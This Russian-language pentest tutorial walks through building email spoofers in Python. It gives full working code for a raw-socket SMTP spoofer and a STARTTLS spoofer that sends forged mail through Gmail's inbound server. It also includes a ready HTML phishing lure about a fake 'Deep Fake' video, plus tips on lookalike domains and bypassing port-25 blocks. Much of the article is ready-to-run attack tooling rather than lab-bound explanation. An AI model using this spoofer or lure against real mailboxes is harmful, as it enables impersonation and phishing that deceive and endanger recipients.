Продолжим изучать Python для использования в пентесте. В этой статье напишем простой спуфер на Python для отправки поддельных электронных писем.
Еще по теме: Как использовать pynput для создания кейлоггера на Python
Статья написана в образовательных целях для обучения пентестеров (этичных хакеров). Использование подобных инструментов для спама и фишинга, без надлежащего разрешения, является незаконным и расценивается, как уголовное преступление. Ни редакция spy-soft.net, ни автор не несут ответственность за ваши действия.
SMTP-спуфер почты на Python
На рабочем столе виртуальной машины Kali Linux создайте новую папку с именем spoofer. В ней создайте файл Python с именем espoofer.py, откройте его в среде разработки или любом текстовом редакторе, а затем скопируйте в него следующий код, который передает сообщения по протоколу SMTP через TCP-соединение.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
import sys, socket size = 1024 def sendMessage(smtpServer, port, fromAddress, toAddress,message): IP = smtpServer PORT = int(port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP, PORT)) # Открытие сокета на порте print(s.recv(size).decode()) # отображение ответа s.send(b'HELO '+ fromAddress.split('@')[1].encode() +b'\n') print(s.recv(size).decode()) # отправка адреса отправителя: s.send(b'MAIL FROM:<' + fromAddress.encode() + b'>\n') print(s.recv(size).decode()) # отправка адреса получателя: s.send(b'RCPT TO:<' + toAddress.encode() + b'>\n') print(s.recv(size).decode()) s.send(b"DATA\n") # отправка данных print(s.recv(size).decode()) s.send(message.encode() + b'\n') s.send(b'\r\n.\r\n') print(s.recv(size).decode()) # отображение ответа s.send(b'QUIT\n') # завершение сообщения print(s.recv(size).decode()) # отображение ответа s.close() def main(args): smtpServer = args[1] port = args[2] fromAddress = args[3] toAddress = args[4] message = args[5] sendMessage(smtpServer, port, fromAddress, toAddress, message) if __name__ == "__main__": main(sys.argv) |
Давайте разберем работу данного кода.
Мы отправляем свое первое сообщение на сервер, выдавая свой компьютер за почтовый сервер, связанный с адресом отправителя:
1 |
s.send(b'HELO '+ fromAddress.split('@')[1].encode() +b'\n') |
Затем выводим на экран ответ, полученный от сервера:
1 |
print(s.recv(size).decode()) |
Далее отправляем данные, после чего завершаем сообщение отправкой символов <CR><LF>.<CR><LF>, которые в языке Python представляются с помощью символов \r и \n:
1 |
s.send(b'\r\n.\r\n') |
Считываем параметры командной строки, определяющие наш целевой почтовый сервер и заголовки нашего электронного письма:
1 |
smtpServer = args[1] |
Использование спуфера почты на Python
Теперь запустим этот скрипт Python. Откройте терминал и перейдите в папку, содержащую файл espoofer.py:
1 |
kali@kali:~$ cd ~/Desktop/spoofer |
Запустите программу espoofer.py, используя следующие аргументы:
1 |
kali@kali:~$ python3 espoofer.py <IP-адрес Metasploitable> 25hacking@virginia.edu sys "Hello from the other side!" |
В результате выполнения этой программы с адреса hacking@virginia.edu на адрес электронной почты для учетной записи sys будет отправлено сообщение «Hello from the other side!».
Подобная атака не всегда оказывается успешной. Некоторые SMTP-серверы могут использовать такие защитные механизмы, как идентификация сообщений, создание отчетов и определение соответствия по доменному имени (domainbased message authentication, reporting, and conformance, DMARC), которые позволяют принимающему SMTP-серверу удостовериться в том, что SMTP-сообщения получены с авторизованного IP-адреса. Тем не менее существуют и другие хитрости.
Например, вы можете зарегистрировать доменное имя, напоминающее атакуемое.Такие инструменты, как URLCrazy, позволяют быстро находить похожие домены.Чтобы сократить количество спама, некоторые интернет-провайдеры блокируют входящие пакеты на порте 25. Поэтому если вы хотите провести аудит системы за пределами своей виртуальной среды, то вам придется направить свой трафик через VPN.
SMTPS-спуфер почты на Python
В предыдущем примере мы отправляли SMTP-сообщения по незашифрованному каналу. Теперь рассмотрим метод SMTPS, который предполагает отправку SMTP-сообщений по каналу, зашифрованному с помощью протокола TLS.
Наша виртуальная машина Metasploitable не поддерживает SMTPS, поэтому мы подключимся к SMTP-серверу Gmail, который его поддерживает, и отправим сами себе поддельное письмо.
Если ваш интернет-провайдер это позволяет, а также при наличии VPN вы можете использовать команду openssl s_client с SMTP-сервером Google (gmail-smtp-in.l.google.com), который принимает входящие SMTP-соединения от других SMTP-серверов.
После подключения вы можете произвести обмен вручную и отправить себе поддельное электронное письмо.
1 |
kali@kali:~$ openssl s_client -starttls smtp -connect gmail-smtp-in.l.google.com:25 -crlf -ign_eof |
Теперь напишем программу, которая использует метод SMTPS при взаимодействии с почтовыми серверами. Некоторые серверы поддерживают только зашифрованную связь через SMTPS, поэтому использовать незашифрованный SMTP для подделки писем удается не всегда.
Библиотека Python smtplib инкапсулирует функции, которые мы обсуждали ранее. Мы используем ее для отправки поддельного электронного письма с применением метода SMTPS.
Откройте текстовый редактор, скопируйте следующий код и сохраните файл под именем secureSpoofer.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
from smtplib import SMTP from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart receiver = 'victimEmail' receiver_name = 'Victim Name' fromaddr = 'Name <spoofed@domain.com>' smtp_server = "gmail-smtp-in.l.google.com" msg = MIMEMultipart() msg['Subject'] = "Urgent" msg['From'] = fromaddr with open('template.html', 'r') as file: message = file.read().replace('\n', '') message = message.replace("{{FirstName}}", receiver_name) msg.attach(MIMEText(message, "html")) with SMTP(smtp_server, 25) as smtp: smtp.starttls() smtp.sendmail(fromaddr, receiver, msg.as_string()) |
Теперь разберем код.
Вместо того чтобы вводить текст электронного письма вручную, считаем его из файла:
1 |
with open('template.html', 'r') as file: |
Это позволит нам использовать шаблоны, делающие поддельные письма более правдоподобными. Шаблоны написаны на языке HTML, и вы можете найти их бесплатные версии, выполнив поиск в интернете по запросу «шаблоны фишинговых писем».
Загрузив сообщение, запустите сеанс TLS:
1 |
smtp.starttls() |
Использование шаблона для спуфинга почты
Ниже дан пример шаблона электронного письма template.html:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
<html> <head> </head> <body style="background-color:#A9A9A9"> <div class="container" > <div class="container" style="background-color:#FFF;"> <br><br> <h1>Breaking News, {{FirstName}}</h1> <h3>You have been identified in a Deep Fake!</h3> <p>A Deep Fake video of you has been uploaded to YouTube yesterday and already has over 2,400 views. </p> <p>Click the link below to view the video and take it down! </p> <a href="https://www.google.com">Your video</a> <br><br><hr> <p>Best regards,</p> <p>The Deep Fake Association</p> <p></p> </div> </div> </body> </html> |
Измените его под себя, отредактировав сообщение и ссылку.
Отлично, теперь вы знаете, как отправлять поддельные электронные письма при проведении тестирования на проникновения.
Полезные ссылки: